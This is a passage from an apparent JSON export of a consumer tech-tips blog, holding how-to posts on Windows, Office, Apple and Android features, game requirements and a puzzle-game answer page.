to having accidents while traveling, at work. Your task in this fun puzzle game is to help the protagonist solve all the problems by observing the situation, finding the clues and coming up with the right solution. You will explore this girl's life and stories in the process of finding answers to the Girl Genius puzzles.\n  To unlock a new level and continue to find out what will happen to the main character in the game, you need to complete the current level. One special thing is that Girl Genius does not provide hints like most other quiz games where you have to watch ads to get suggestions. This is annoying and will make it difficult for you to face a challenging puzzle. Don't worry, you can continue to move forward in this case with the list of game Girl Genius answers shared below.\n2. Answers Game Girl Genius The puzzles look extremely simple but will keep you going for a while before you can find the answers. If you have any problems, the above is the answer to the Girl Genius game that you can find whenever you need it.\nLink to download Girl Genius for Android and iPhone:\nLink download Girl Genius for Android here. Link download Girl Genius for iPhone here. ncG1vNJzZmismaXArq3KnmWcp51krq%2B%2F1p6prGWknbJuuc6sq2abn6K9rbHTnmSgoaKheqixzaKsrGWXlrqm\n","link":"/post/answers-the-most-complete-girl-genius-game/","section":"post","tags":null,"title":"Answers the most complete Girl Genius game"},{"body":"Yesterday, OPPO officially launched the ColorOS 6 operating system with many improvements for users at an event taking place in Chengdu, China.\nColorOS 6 is designed with gentle white tones that are dominant, without borders, reducing icon size . In this event, OPPO also introduced a new logo of ColorOS.\n   OPPO has made over 3500 motion effects to improve the animation effect in ColorOS6, making it smoother and more efficient to use.\n         In ColorOS 6 the ability to display images, optimize the video quality is improved.\nThe TouchBoost feature for gamers helps reduce latency by up to 40ms, increasing 21.6% speed when playing PUBG, response speed increased by 16.2% when playing MOBA games.\nFrameBoost technology increases the frame rate up to 38% when playing games.\nColorOS 6 also integrates the illusion of Breeno capable of identifying scenes, voices .\nAccording to information from OPPO, ColorOS 6 will be preinstalled on their new Reno series devices when it is released on April 10.\nColorOS 6 update schedule for older devices is as follows:\n  The first installment is in April on two R15 and R15 Dream Edition devices. The second installment at the end of August for OPPO Find X, R17 and R17 Pro devices. The third round at the end of September, for Oppo R11s, R11s Plus, R11, R11 Plus, A7x, and A3 devices. Devices that are not on the above list will have to wait a while longer to receive the ColorOS 6 update from OPPO.\nncG1vNJzZmismaXArq3KnmWcp51ksLC4zqumrGVmYsSiv4yonZ%2Bhk56urbjYZqmepJWWwKawjKKkqaqfq7avs4ytn55lpaiys3nIp6ueqpaWsKZ5xKefmqaTnruoedOhnGaolaezsL7MmqWcnV2ks2681Jue\n","link":"/post/coloros-6-was-officially-released-improving-the-user-interface-enhancing-the-performance-of-pubg/","section":"post","tags":null,"title":"ColorOS 6 was officially released, improving the user interface, enhancing the performance of PUBG"},{"body":"Warhammer Chaosbane is an RPG game in Warhammer's game list that is the first product to get a hack-n-slash theme from this series. The image of Chaosbane will instantly remind gamers of Diablo legend.\nFrom gameplay, movement to graphic style will bring a familiar feeling when playing. Warhammer Chaosbane is only inspired by Diablo but does not copy what the game has done. If you want to learn more about the gameplay and configuration requirements of Warhammer Chaosbane, please see the article below.\nRage 2 player configuration on the computer Configure Play Layer Of Fear 2 on the computer Configuring Mortal Kombat 11 on the computer Minimum configuration of Warhammer Chaosbane on the computer   Operating system: Windows® 7, Windows® 8, Windows® 10 64bits or higher CPU: Intel® Core i3 or AMD Phenom ™ II X3 RAM memory: 6 GB RAM Graphics card: NVIDIA® GeForce® GTX 660 or AMD Radeon ™ HD 7850 with 2 GB RAM DirectX: Version 11 Memory capacity : 20 GB of free hard disk space Sound Card: DirectX Compatible Soundcard Warhammer Chaosbane's minimal configuration is fairly easy to breathe, if Warhammer Chaosbane is compared to current titles, Core i3 is a requirement that most gamers can meet.\nIn addition, 6GB of RAM and GTX 660 graphics cards are also considered to be the average requirements for the minimum configuration of current action titles. You can play Warhammer Chaosbane smoothly at Medium Settings with the above configuration.\nConfiguration requires Warhammer Chaosbane on the computer   Operating system: Windows® 7, Windows® 8, Windows® 10 64bits or higher CPU: Intel® Core i5 or AMD FX 8150 RAM memory: 6 GB RAM Graphics card: NVIDIA® GeForce® GTX 780 or AMD Radeon ™ R9 290 with 2 GB RAM DirectX: Version 11 Memory capacity : 20 GB of free hard disk space Sound Card: DirectX Compatible Soundcard Warhammer Chaosbane's required configuration is not too much for gamers. Most of the current major titles have the minimum configuration with the Warhammer Chaosbane request configuration above, so this will be a not too difficult configuration on your PC.\nIn addition to 6GB of RAM, the Core i5 and GTX 780 are not too hard hardware requirements to own in the game.\nIntroducing Warhammer Chaosbane   Figure The first is the character class, Warhammer Chaosbane allows the player to play four character classes: Empire Soldier, Slayer, High Elf Mage and Wood Elf Scout. Each character class has its own play style with various options and skills.\nThe number of characters in Warhammer Chaosbane, if you look at it, may seem a bit small, but they all have their own points that the player feels through exploiting the character. Konrad Vollen, for example, although cattle and buffaloes have a shield that reduces their ability to cause damage, but the disadvantages are quite slow and have little wide-area effects.\nAnd wood lovers have a beautiful way of beating but will have to move continuously to \"fly kites\" of monsters because too little blood.\nGameplay The skills in Warhammer Chaosbane are many and varied, a character will have 100 different skills to use. In addition to the things you learn when leveling up, there are many other things that can only be unlocked by doing quests or unlocking stories.\nPlayers can use up to 5 skills at the same time, cooldown is short so Warhammer's speed: Chaosbane is much faster than other titles.\nA special feature is that the characters in the game will not use mana to develop skills. Instead, you will use the energy bar to test your skills. This bar will increase every time you hit monsters.\nAlso, if you want to use the combo smoothly, you need to learn how to practice skills and beat \"vegetarian\". So Warhammer: Chaosbane has a very attractive gameplay, forcing you to incorporate buttons into a series of your own combos.\nAbove is a smooth configuration of Warhammer Chaosbane and some gameplay information as well as game character classes. Currently the game is being sold on Steam.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYr2trdhmrpqqmJa6rrHRZpqhmZ%2Bor6K6xGamp2WknbJur86mp66slac%3D\n","link":"/post/configure-play-warhammer-chaosbane-on-the-computer/","section":"post","tags":null,"title":"Configure play Warhammer: Chaosbane on the computer"},{"body":"Network Administration - One of the most interesting things about using Windows 7 operating system on a laptop is the most important configuration options of the laptop are separated in a separate utility.This utility, called the Windows Mobility Center, is the place to go first when we want to configure the laptop method to work. Mobility Center was first introduced in Windows Vista, then continued to be integrated into Windows 7 with some improvements. Before Windows Vista was released, we had to access various areas to configure the laptop, but now we just need to use this utility to set up the necessary configuration. To launch Mobility Center, go to the Start menu | All Programs | Accessories | Windows Mobility Center as shown in Figure 1. (We can also access the Mobility Center from Control Panel).  Figure 1: Managing important laptop settings in Windows Mobility Center.\nMobility Center includes several tables with the following settings: Brightness : Adjust the brightness of the laptop screen.  Volume : Adjust the sound volume.  Battery Status : Displays the current charging status of the laptop while allowing to change the selected power plan.  Wireless Network : Displays the current Wifi status, and allows to enable or disable the laptop's Wifi adapter.  External Display : Allows us to connect a laptop to an external monitor.  Sync Center : Allows us to connect laptops to other devices, such as Flash memory, and synchronize files between these two devices.  Presentation Settings : Allows us to enable special presentation settings for laptops. In addition to these tables, some other laptop vendors also use their own tables on Mobility Center. For example, Toshiba added some tables for Lock Computer and a utility that supports Toshiba Assist. Other vendors rename some of these tables, as Dell uses Display Settings instead of Brightness tables. Brightness table Brightness is the first panel in the Mobility Center, and it allows quick adjustments to the brightness of the screen by moving the slider to either side. If you move the cursor over the display icon, this icon will turn into a command button. When you click on this button Windows will open the Power Options window, where we can change the brightness on the power settings. Volume Next to the Brightness panel in the Mobility Center is the Volume table. This panel includes a slider to adjust the volume and a selection box that allows to quickly turn the sound on and off. Like the Brightness panel, this table also has a hidden function. When you click on the graphics speaker, then Windows will open the Sound dialog box. Here we can change all audio settings for laptops. Battery status Next is the Battery Status panel. This panel performs two functions, which is to display the current charging level for the laptop's battery and to allow the change of Windows power settings. When operating the battery-operated machine, the display of the remaining battery amount displayed in the form of graphics and percentage (%) is displayed above the display. The Battery Status panel also allows us to change the Windows Power Plan (power consumption plan) for a laptop. Power Plan is a combination of settings that impact the laptop's power consumption. We can choose an optimal Power Plan for battery life (how to reduce screen brightness), or optimize performance (reduce battery life). When scrolling down the Power Plan list in the Mobolity Center, we will see 3 Plan options available: Power Saver, Balanced and High Performance. The default settings for each Power Plan are shown as follows: Power Plan of Windows 7\nInstall the Power Saver Plan Balanced Plan High Performance Plan Turn off the screen \n (Battery Mode)\n3 minutes 5 minutes 20 minutes Hibernation \n (Battery Mode)  Screen brightness \n (Battery Mode)  Turn off the screen \n (AC Mode) 15 minutes 40% 20 minutes 15 minutes 40% 20 minutes 60 minutes 100% 20 minutes Hibernation \n (AC Mode) 60 minutes 60 minutes without Screen Brightness \n (AC Mode) 100% 100% 100% Function Save battery Save battery and increase performance Run high-performance applications For most users, Balanced Plan is a perfect combination of battery life and performance. However, Power Saver Plan can help us increase battery life, and High Performance Plan is the best choice when using external power source (AC Mode). In addition, we can click on the graphic icon of the battery in the system tray to open the Power Options window when we want to edit the parameters of the Power Plan, or create our own Power Plan. Wireless Network The Mobility Center's Wireless Network table provides the following three main functions:First, it displays the status of the current Wi-Fi connection whether we are connected or not. Second, the Wireless Network panel allows us to quickly turn on and off the connection with just a click of the Turn Wireless Off / Turn Wireless On button. Third, when moving the cursor on the icon that shows the status of the connection, this icon turns into a command button, when clicking on this button will appear a table listing all existing Wifi connections. There, we can connect to any network on the list, or open Windows' Network and Sharing Center to manage all network connections as shown in Figure 2.\n Figure 2: Existing Wifi network connections. External Display If you want to connect an external monitor or a projector to a computer, you can do so via the External Display panel of the Mobility Center. When you click the Connect Display button, the following options will appear:\nComputer Only . Only display images on the integrated screen, leave External Display blank. Select this option when you do not want to use an external display device.  Duplicate . Display the same image on the display device in and out. This is an appropriate option if you want to connect the projector to a computer.  Extend . This option allows us to create a large screen including the screen on the computer and the external monitor. We can then move the mouse from one screen to another as if these two screens were combined as one. Select this option when we are using a computer monitor and an external monitor to work.  Projector Only . Only display images on external display devices without using the screen on the system.  Figure 3: Modes in External Display.\nIn addition, we can also change the orientation, resolution of the screen inside and outside.Presentation Settings Many entrepreneurs often use computers during presentations. Of course, then we don't want the screen saver to automatically activate or the computer will turn itself off if there is no action for a certain period of time. In other words, then we want to turn the laptop into a dedicated presentation tool. We can do this by activating Windows Presentation Settings. In this mode, the computer will always operate, the screen saver mode is disabled, and all system notifications are turned off, making the presentation uninterrupted. To activate this mode, simply click the Turn On button in the Presentation Settings panel of the Mobility Center, and click Turn Off to turn it off. If you want to edit the settings, just click on the projector's graphic icon, then the Presentation Settings dialog box will appear. Here we can choose to turn on or off screen saver mode, volume settings during presentations, and display separate wallpapers.\n Figure 4: Presentation installation dialog box.\nSync Center The last table in Mobility Center is Sync Center to help synchronize data. The Sync Center allows us to synchronize data between folders in two different addresses, for example, between a home and office network, or between a computer and an external connected play device. To access this feature, click the Sync Settings button to open the Sync Settings window and then follow the instructions on it.\n Figure 5: Sync Center window.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2Fwqitnqpdoryjtcuiq7Jlk5q7tbHRZqCnZaeeu6W71qxkcA%3D%3D\n","link":"/post/discover-mobility-center-in-windows-7/","section":"post","tags":null,"title":"Discover Mobility Center in Windows 7"},{"body":" If you need to get in touch with the iTunes store but have no idea where to start, go to their website. Choose the reason why you're contacting them and iTunes will tell you the best way to contact them or give you options. For example,...\nMethod 1of 2:\nFilling Out an iTunes Support Form  Go to Apple's website to access the online iTunes support form. You can access the form directly by going to https://www.apple.com/emea/support/itunes/contact.html. The iTunes support form lets you submit a question or concern related to the iTunes store.   Select a help topic from the drop-down menu. Once you've found the form, you'll be able to choose a topic that's related to your concern. If you don't see a relevant topic, contact Apple support instead. Drop-down menu topics include:[1] Account billing Account security iTunes cards and codes Authorization Connecting to the iTunes store Downloading purchases App, book, movie, music, tv show, 3rd party subscriptions, or podcasts iTunes U   Provide your contact information. The form will ask you to give your name, phone number, and region.[2] If you'd like, you can also give your Apple ID and order number if it's relevant to your concern.   Write a description of your concern. You'll see a space to give a detailed description of the issue you're trying to resolve. If you're handling an error message, include it in the description.[3] Try to be as specific as possible so the person reviewing your form is able to help resolve your problem.   Submit the form. Click the \"Submit\" button at the bottom of the form after you've filled out all of the required fields. After you submit your form, a representative should get back to you via email within 24 hours. If you don't hear back within 24 hours, check your email's spam folder to see if the response is in there.  Method 2of 2:\nUsing Apple Support Resources  Access the iTunes support page on Apple's website. Go to https://getsupport.apple.com/?caller=psp\u0026amp;PRKEYS=131629 to access the main support page for iTunes.\n  Search or select a topic. You'll come to a screen that allows you to search for a topic to contact iTunes about. You can also pick a topic and see the ways to get in touch. Choose 1 of these topics on their support page:[4] Gift card and codes Subscriptions and purchases Account management Password and security questions Connecting and downloading Other iTunes store topics   Email iTunes if you don't mind waiting a few days. If you've selected a topic allows you to email iTunes, provide detailed contact information and explain the issue you're trying to resolve. Depending on the issue, iTunes may ask for other information such as your gift card number or Apple ID.[5] You should get a response from iTunes support within 48 hours.   Get iTunes support to call you if you'd like to talk on the phone. Some topics will give you the option of talking with iTunes support on the phone. If you choose to schedule a call, pick a date and time of day when iTunes support can reach you. Give your name, email address, and phone number.[6] If you would rather call iTunes support, call 1-800-275-2273 between 7:00 a.m. and 10:00 p.m. Central time.   Start an online chat session if you want to talk with a representative. Fill out a short form with your name, email address, and optional Apple ID. After you click continue, your chat session should begin shortly.[7] If iTunes support is experiencing a wait time, it will often say how long of a wait there is before you start your session.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8Gir9Nmq6GdXZ7BtrrErGSsrJ%2Bnsg%3D%3D\n","link":"/post/how-to-contact-the-itunes-store/","section":"post","tags":null,"title":"How to Contact the iTunes Store"},{"body":"How do you find a page in a long Word document? Here, TipsMake.com will introduce you how to create, use and manage bookmarks in Word 2003, 2007 and 2010 applications.\nAdd bookmarks in Word 2010 To create bookmarks in fixed text in Word 2010, place the cursor where you want to create a bookmark:\n Next, choose Insert\u0026gt; Links\u0026gt; Bookmark:\n The next dialog box displays, where you can name this bookmark, noting that there should be no spaces or special characters. After naming you click Add :\n To continue creating bookmarks for other texts, do the same:\n Here, we experiment with 3 bookmarks as follows:\n  With Word 2007 and 2003 The process is similar to that in Word 2010, open the document, select the text area to create the bookmark and Insert\u0026gt; Bookmark:\n It is also one of the short functions of Microsoft Word, with the same text when opening and creating bookmarks in Word 2010, these bookmarks also appear when you open the document in Word 2003 or 2007:\n When you want to move to certain text, select the corresponding bookmark and press the Go To button:\n When processing in Word 2003, the steps are not different:\n If a document is created with * .docx in Word 2007 or 2010, before opening in 2003, you need to install the Office Compatibility Compatibility Pack here:\n So you've completed the steps needed to create, use, and manage bookmarks, when applied in long documents, this feature proved extremely convenient. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYybpqijnZa%2FrL%2BMoqVmr5%2BnsW5%2Bj2lqZmpgZYRurc2dZLCnopl6c3yQaQ%3D%3D\n","link":"/post/how-to-create-bookmarks-in-word-2003-2007-and-word-2010/","section":"post","tags":null,"title":"How to create Bookmarks in Word 2003, 2007 and Word 2010"},{"body":" MSN by Microsoft Windows offers a number of different services and apps that can help enhance your experience as a Windows user. If you want additional MSN services that aren't already installed on your Windows 8 computer, you can install...\nMethod 1of 3:\nInstalling Windows Essentials  Navigate to the download page for Microsoft Windows Essentials at http://windows.microsoft.com/en-us/windows-live/essentials.\n  Click on 'Download Now,' then select the option to save the .exe file to your Windows 8 desktop.\n  Double-click on the Windows Essentials .exe file saved on your desktop. The Windows Essentials installation wizard will display on-screen.\n  Follow the on-screen prompts to install the products of your choice associated with Windows Essentials. You can choose to install one or more of the following products: Windows Live Mail: Allows you to manage multiple email accounts, calendars, and contacts. Windows Live Writer: Allows you to create blog posts that can be published to any of your favorite blog service providers. Microsoft OneDrive: Allows you to create, manage, and access files from any device or computer. Photo Gallery: Allows you to edit, publish, and share photos. Movie Maker: Allows you to create movies using photos and videos.[1]   Click on 'Finish' when the Windows Essentials wizard informs you installation is complete. You can now start using the Microsoft products you installed via Windows Essentials.\n Method 2of 3:\nInstalling Skype (Updated Version of MSN Messenger)  Navigate to Skype's website at http://www.skype.com/en/download-skype/skype-for-computer/.\n  Verify that your Windows 8 device is selected, then click on 'Get Skype for Windows.'\n  Select the option to save the Skype .exe file to your Windows 8 desktop.\n  Double-click on the Skype .exe file. Skype's installation wizard will display on-screen.\n  Select your preferred language from the dropdown menu, review Skype's terms and conditions, then click on 'I agree -- next.'\n  Indicate whether you also want to install Skype Click to Call, then click on 'Continue.' Skype Click to Call allows you to make free domestic telephone calls using Skype's services.\n  Review the Microsoft Services Agreement and Privacy Policy, then click on 'Continue.'\n  Indicate whether you want to make Bing your default search engine, and whether you want to make MSN your homepage, then click on 'Continue.'\n  Wait for Skype to complete installation. When installation is complete, Skype will launch and display on-screen.\n  Sign in to Skype using your MSN or Microsoft username and password. You can now chat with your friends using Skype, which is the updated version of MSN Messenger.[2]\n Method 3of 3:\nTroubleshooting  Try uninstalling and reinstalling Skype if the program fails to work on your Windows 8 computer. In most cases, reinstalling Skype can correct any software problems or technical issues you might be experiencing with the program.[3] Close Skype, then press the 'Windows' and 'R' keys. The Run dialog box will display on-screen. Type 'appwiz.cpl' into the Run dialog box, then click on 'OK.' Right-click on 'Skype,' then select 'Uninstall' or 'Remove.' Windows 8 will remove Skype from your computer. Follow all steps outlined in method one of this article to reinstall Skype.   Take note of any installation error messages you receive when trying to install Windows Essentials, then make the necessary changes to your computer. In some cases, you may have problems installing the program if your computer lacks enough disk space or a firewall is blocking the installation.[4] Installation error 0x80070643 or 0x800706d9: Windows Firewall needs to be enabled. Click on 'Start,' type 'Windows Firewall' in the search box, select the program, then click on 'Turn on Windows Firewall.' Installation error 0x80070005: Log in to Windows as an administrator to install Windows Essentials. Installation error 0x8104000b: Try refreshing your Internet connection, then restart your computer before proceeding.   Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKymXaS7bsPIp5uor6NihQ%3D%3D\n","link":"/post/how-to-install-msn-on-windows-8/","section":"post","tags":null,"title":"How to Install MSN on Windows 8"},{"body":"Find out below.\nSome note To share your screen using FaceTime, first make sure both you and the person you're sharing with are using iOS 15.1 (on iPhone), iPadOS 15.1 (on iPad), or macOS 12.1 (on Mac) or later. You also need an Apple ID to use FaceTime.\nAlso, keep in mind that you won't be able to screen share content from apps that require a subscription or purchase account to view. (Apple recommends using SharePlay in this case).\nIn particular, the screen sharing feature in FaceTime will be very useful when you need help troubleshooting or want to present some information to others remotely. While sharing your screen, all incoming notifications on the device will be hidden for privacy. However, be careful if you have sensitive information on the screen, as the person on the other end can totally see it.\nShare iPhone, iPad screen with FaceTime To share the screen of your iPhone or iPad, first launch the FaceTime app and make a call to the person you want to share the screen with.\nOnce the connection is established, tap the 'Screen Sharing' button on the toolbar (it's a rectangle with a person in front of it). In the pop-up, tap 'Share My Screen'.\n  When screen sharing begins, FaceTime will be collapsed to a small window on the screen, and you can use your iPhone or iPad as usual to launch other apps. The person on the other side of the call will see what you're doing on the screen.\n  To stop screen sharing, reopen the FaceTime toolbar by tapping the video thumbnail. Then click the share screen button again.\n  When you're done with the FaceTime call, tap 'End'.\nShare your Mac screen using FaceTime To share your Mac's screen, you first open the FaceTime app and make a call to the person you want.\nOnce the connection is established, click the FaceTime icon in the menu bar at the top of the screen and click the share screen button, which looks like a rectangle with a person in front.\n  The menu will expand and you will have the choice to share a specific window or the entire screen. Click the option you want to use.\nIf you select 'Window', FaceTime will prompt you to click on the window you want to share. In case you choose 'Screen', the person on the other end of the call will see your entire Mac screen.\nTo stop screen sharing, click the FaceTime icon in the menu bar again and select 'Stop Sharing Screen'.\n  You can resume screen sharing at any time. When the call is done, open the FaceTime menu again and click the red 'X' button to disconnect.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2Bmecipn6imlWK2sa3DZqSam12osLOxxKdksKGknXqnrcKeq6KllQ%3D%3D\n","link":"/post/how-to-share-iphone-ipad-mac-screen-with-facetime/","section":"post","tags":null,"title":"How to share iPhone, iPad, Mac screen with FaceTime"},{"body":"How to Upload, download your favorite videos from your computer, Laptop to YouTube is quite simple. But how to Upload, download your favorite videos from iPhone to YouTube? The following article The Network Administrator will introduce you two extremely simple ways to Upload and download your videos from your iPhone to YouTube.\nMethod 1: Download, Upload videos from iPhone to YouTube quickly with Camera Roll Step 1: Go to Camera Roll to select the video you want to upload.\nStep 2:   Touch the Share icon at the bottom left corner.\nStep 3:   After tapping the Share icon, there will be an option to share your favorite videos on YouTube, Facebook . Touch YouTube.\nStep 4:   If you have not logged into your YouTube account on your iPhone device, the screen will appear asking you to login your account.\nStep 5: Next, you will be asked to create a title for the video. There are also other options, as well as selecting a short description for the video, choosing standard or HD video quality, selecting each item and selecting Upload mode.\nThere are 3 upload modes:\n+ Public : Upload publicly, anyone can see your video file. However the youtube server will detect the link immediately and will delete the file immediately if it considers violation of copyright of a certain unit has registered copyright.\n+ Unlisted : Upload is not published, only the account holder is you and the people who are you embed the link to view online on some website to watch the video. YouTube or any search engine will never find the video link in this mode. This is the mode chosen by online websites to upload for online viewers.\n+ Private : Upload privately, only the account owner is you and the people you share the link directly to watch the video.\nIf you don't know how to upload, download videos from your computer or laptop to YouTube. Refer here. Step 6:   After you've finished creating the title and choosing to edit your video, tap Publish at the top of the Menu. So you have finished uploading videos to YouTube.\nMethod 2: Upload, download videos directly from iPhone to YouTube effectively with the YouTube application. Step 1: Open the YouTube application .\nIf your iPhone or iPad doesn't have a YouTube app, you can visit here to download it and install it. Step 2: If this is your first time uploading videos to a personal YouTube page, you must log in to your account.\nStep 3: Touch the icon of the 3 dash lines on the top left of the Menu.\nStep 4:   Select the Upload icon next to My Channel.\nStep 5:   Go to Camera Roll select the video you want to upload.\nStep 6:   Create a title for the video and edit details, add a video description . After you've done the steps, simply touch the Upload icon (arrow icon pointing up) in the right-hand corner to upload the video .\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gobyisIydprCmnKSupXnVopuep6NiwbB52Kisra2Smnqwuoyip6Gnnpo%3D\n","link":"/post/how-to-upload-download-videos-to-youtube-on-iphone/","section":"post","tags":null,"title":"How to Upload, Download Videos to YouTube on iPhone?"},{"body":"One of the most common and simple ways to troubleshoot is to boot the computer into Safe mode. In previous Windows versions (like Windows 7, Vista .) you can easily boot your computer in Safe Mode by pressing F8 during the boot process.\nOn Windows 8, starting in Safe Mode is more difficult and complicated. However, you can still set the F8 key to start Windows 8 in Safe Mode more easily and simply.\n  To set up the F8 key to start Windows 8 in Safe Mode, follow the steps below:\nFirst press Windows + X key combination, then select Command Prompt (Admin) .\n  After the Command Prompt dialog box appears, enter the following command line into the window:\nbcdedit / set {default} bootmenupolicy legacy\n  \nFrom now on when rebooting the machine, you can press F8 to open the Advanced Boot option.\nIf you want to reopen the normal boot menu, use the following command:\nbcdedit / set {default} bootmenupolicy standard\n  \nRefer to some of the following articles:  Start Windows 7, 8, 10 in Safe Mode without F8 key   How to start Windows 10 in Safe Mode   How to use Command Prompt to manage wireless networks on Windows 10?  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarlanBqrrGZp1xZZuaxm7AzmaqrZmiqXq4tc2dprCrXW16qrqMrJifnV2ivKWx\n","link":"/post/instructions-for-setting-f8-key-to-start-windows-8-in-safe-mode/","section":"post","tags":null,"title":"Instructions for setting F8 key to start Windows 8 in Safe Mode"},{"body":"Users can see when selecting another theme in PowerPoint 2016, it will rearrange the text on the slides and add shapes to the background. This is because each theme has its own slide layout and integrated background graphics. You can edit these layouts with the Slide Master feature. When learning how to use Slide Master view, users will be able to customize the entire slide show with just a few clicks.\nUse Slide Master to customize the slide layout in PowerPoint 2016 What is the view of Slide Master? Instructions for using Slide Master How to change all slides Customize slide layout How to customize an existing slide layout Customize text format  Create a new slide layout How to insert a new slide layout How to rename custom layouts How to use custom layouts  Use custom layouts in other presentations How to save a theme  What is the view of Slide Master? Slide Master is a special feature in PowerPoint that allows you to quickly modify their slides and layouts in a presentation. From there, you can edit the slide master (this will affect every slide in the presentation). Users can also modify individual slide layouts, which will change any slide using those new layouts.\nFor example, suppose you find a favorite theme but are not happy with some slide layouts. You can use Slide Master to customize the layout the way you want.\n  In Slide Master view, Slide Master tab will appear first on the Ribbon, but users can still access the commands on different tabs as usual.\nInstructions for using Slide Master Whether making major changes or just a few small adjustments to slides, Slide Master can help create a professional, consistent presentation without too much effort. You can use Slide Master to change anything in your presentation, but here are some of the most common uses.\nModify the background : Slide Master makes it easy to customize the background for all slides at once. For example, you can add watermarks or logos to each slide in a presentation or modify the background graphics of an existing PowerPoint theme. \nRearranging placeholders : If you often rearrange placeholders on each slide, users can save time by rearranging them in Slide Master. When adjusting one of the layouts at Slide Master, all slides with that layout will change. Customize text format : Instead of changing the text color on each slide individually, users can use Slide Master to change the text color on all slides at the same time. Create a unique slide layout : If you want to create a presentation that looks different from regular PowerPoint themes, users can use Slide Master to create their own layout. Custom layouts can include background graphics and your own placeholders. Some changes to the overall layout, like custom fonts and theme colors, can be done quickly from the Design tab .\nHow to change all slides If you want to change something on all slides, you can edit Slide Master. In the example in this article, we will add the logo to each slide.\n  1. Select the View tab , then click the Slide Master command .\n  2. The presentation will switch to Slide Master and Slide Master tab will be selected on Ribbon.\n3. In the left navigation, scroll up and select the first slide. This is Slide Master .\n  4. Make the desired changes to Slide Master. In the example in this article, we will insert the Mongibello logo into the slide.\n  5. Move, resize or delete objects in the slide as needed. In the example, the logo size will be changed and moved to the lower right corner.\n  6. When finished, click the Close Master View command on the Slide Master tab.\n  7. The change will appear on all slides of the presentation.\n  When making changes to Slide Master, users should review their presentation to see how it affects each slide. Maybe some slides will have problems. In the next section, the article will show you how to fix this by customizing the slide layout separately.\nCustomize slide layout Users can use Slide Master to modify any slide layout in their presentation. It's easy to make minor adjustments such as adjusting background graphics or more important changes such as rearranging or deleting the placeholder. Unlike slide master, changes to the slide layout will only be applied to slides that use that layout in a presentation.\nHow to customize an existing slide layout In this example, the new logo is added hidden behind the image in Picture with Caption Layout . We will customize this layout to make room for the logo.\n1. Open Slide Master.\n  2. Locate and select the desired layout in the left navigation pane. You can hover over each layout to see which slides are currently using that layout in the presentation.\n  3. In some layouts, background graphics may be hidden. To display graphics, uncheck Hide Background Graphics .\n  4. Add, move or delete any object as desired. In this example, we will delete the gray PowerPoint background.\n  5. If you want to change the arrangement of the placeholders, users can move, resize or delete any of them. In the example, we will move the placeholder to the text, the black bar to the right and the placeholder for the image to the left.\n  6. When finished, click the Close Master View command on the Slide Master tab .\n  \n7. All slides using the layout will be updated.\n  You can also move placeholders on the master slide. Note that this will also move placeholders on multiple slide layouts at once. However, some slide layouts may still need to be manually adjusted.\nCustomize text format Users can also customize the text format from Slide Master view, including fonts, text size, colors and alignment. For example, if you want to change the font for every placeholder for the title in the presentation, you can modify the main title type on the slide master.\n  Each placeholder for the title section is connected to the main title type on the master slide. For example, see the slides before changing the title font.\n  Now look at the same slides after changing the title font.\n  Instead of customizing individual placeholders, users can change the theme's font. From the Slide Master tab , click the Fonts command in the Background group , then select the desired font.\n  Create a new slide layout One of Slide Master's most powerful features is the creation of a new slide layout. This is an easy way to add interesting and unique slide layouts to an existing theme. You can even use this feature to design a whole new topic, as in the example below.\n  How to insert a new slide layout 1. Navigate to Slide Master view . From the Slide Master tab , click the Insert Layout command .\n  2. New slide layout will appear.\n  3. The layout will include a placeholder for the title and footer by default. Click on the Title and Footers box in the Master Layout group to enable and disable these placeholders.\n  4. You can now add background graphics, shapes and images to the slide layout. You can also move, adjust and delete existing placeholders. In the example, we will move the placeholder for the title into the lower right corner. Text is also changed to right-aligned instead of left-aligned.\n  5. To add a new placeholder, click the lower part of the Insert Placeholder command , then select the desired type. In this example, we will use Picture.\n  6. Click and drag to draw the placeholder on the slide.\n  How to rename custom layouts When completing the custom layout design, the user should give it an easy-to-find name.\n1. From Slide Master view , select the desired layout, then click the Rename command .\n  2. A dialog box will appear. Enter the desired name, then click Rename.\n  \nHow to use custom layouts Once you've created a custom slide layout, it's easy to add a new slide to that layout or apply it to an existing slide.\n1. If currently in Slide Master view , click the Close Master View command on the Slide Master tab .\n2. From the Home tab , users can insert a new slide with a custom layout or apply it to an existing slide. In this example, we will select Layout and apply the new style to slide 6.\n  3. Custom slide layout will be applied.\n  PowerPoint also allows adding new placeholder to existing slide layouts.\nUse custom layouts in other presentations When modifying the slide or slide master layout in Slide Master view, you are actually creating a customized version for the current theme. If you want to apply this theme to other presentations, you'll need to save it.\nHow to save a theme From the Slide Master tab , click the Themes command , then select Save Current Theme from the drop-down menu.\n  If not in Slide Master view , you can save the theme from the Design tab . Just click the drop-down arrow in the Themes group , then select Save Current Theme .\n  Good luck!\nSee more:\nHow to burn presentation slides to a CD How to create text effects in PowerPoint How to use the impact button on PowerPoint ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuv8uim55lnZbAtbHRZq2inaditq95z6iunqqgpLavwIxrZ2pu\n","link":"/post/learn-about-slide-master-view-in-powerpoint-2016/","section":"post","tags":null,"title":"Learn about Slide Master view in PowerPoint 2016"},{"body":"To improve device performance, many users have the idea of ​​upgrading RAM for phones. Is it possible to upgrade the RAM for the phone and the upgrade is as easy as we think? Please read along.\nInstructions for checking the available RAM capacity of your device Is it true that Android costs more RAM than iOS? RAM \u0026amp; ROM: two concepts are easily confused What is R AM phone? Basically, the mechanism of RAM's (Random Access Memory) random access memory on the phone is relatively similar to the RAM on the computer. Along with the processor, RAM is one of the very important components in the overall phone. This is a virtual memory that coordinates with the CPU to access data, making the phone work smoothly and stably.\n The bigger the RAM, the better the ability of the application to run multitasking.\nThe phone's RAM memory has the function to store background data for the operating system and pending applications or receive user control tasks. If there is no RAM, that's the only reason for slowing down in a system, adding more RAM will help you improve system performance significantly. That's why many people want to upgrade RAM for their phones.\nIs it possible to upgrade RAM for phones? Currently, the 